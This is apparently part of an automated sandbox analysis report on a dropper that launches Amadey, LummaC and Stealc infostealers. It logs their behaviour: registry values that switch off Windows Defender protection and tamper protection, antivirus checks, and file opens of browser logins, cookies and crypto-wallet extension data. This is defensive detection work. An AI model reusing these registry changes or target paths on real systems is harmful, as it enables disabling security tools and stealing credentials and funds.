Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00F5CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime, 0_2_00F5CBEA
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00C12517 GetTimeZoneInformation, 6_2_00C12517
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Disable Windows Defender notifications (registry)
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1
Disable Windows Defender real time protection (registry)
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications Registry value created: DisableNotifications 1
Disables Windows Defender Tamper protection
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Registry value created: TamperProtection 0
AV process strings found (often used to terminate AV products)
Source: d0d9725343.exe, 0000000B.00000002.3094417595.0000000003849000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.3092005941.000000000103D000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000002.3093560739.000000000103D000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3218675497.00000000012C7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: 176986cc9c.exe, 0000000D.00000003.3218627779.00000000012CE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected Amadeys stealer DLL
Source: Yara match File source: 0.2.file.exe.f40000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.skotes.exe.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.skotes.exe.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.skotes.exe.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.2183253576.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2189953955.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Yara detected Credential Flusher
Source: Yara match File source: Process Memory Space: 3981530833.exe PID: 1776, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: 176986cc9c.exe PID: 5440, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Yara detected Stealc
Source: Yara match File source: 0000000E.00000002.3180012118.0000000000A81000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.3190013417.000000000145E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000003.3122477181.00000000050D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000003.3258280474.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000002.3351423687.0000000000728000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000002.3354435913.0000000000A81000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: f570600774.exe PID: 5936, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Found many strings related to Crypto-Wallets (likely being stolen)
Source: 176986cc9c.exe, 0000000D.00000003.3197174045.00000000012CD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %appdata%\Electrum\wallets
Source: 176986cc9c.exe, 0000000D.00000003.3197174045.00000000012CD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %appdata%\ElectronCash\wallets
Source: d0d9725343.exe, 0000000B.00000003.3092005941.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: 0},{"t":0,"p":"%appdata%\\Binance","m":["app-store.json",".finger-print.fp","simple-storage.json","window-state.json"],"z":"Wallets/Binance","d"jMp
Source: d0d9725343.exe, 0000000B.00000003.2979875499.0000000001045000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 176986cc9c.exe, 0000000D.00000003.3197174045.00000000012CD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: d0d9725343.exe, 0000000B.00000003.2979897591.0000000001052000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: ExodusWeb3f
Source: 176986cc9c.exe, 0000000F.00000003.3367486748.00000000005EA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Wallets/Ethereum
Source: d0d9725343.exe, 0000000B.00000003.2979875499.0000000001045000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: d0d9725343.exe, 0000000B.00000003.2979875499.0000000001045000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: keystore
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db
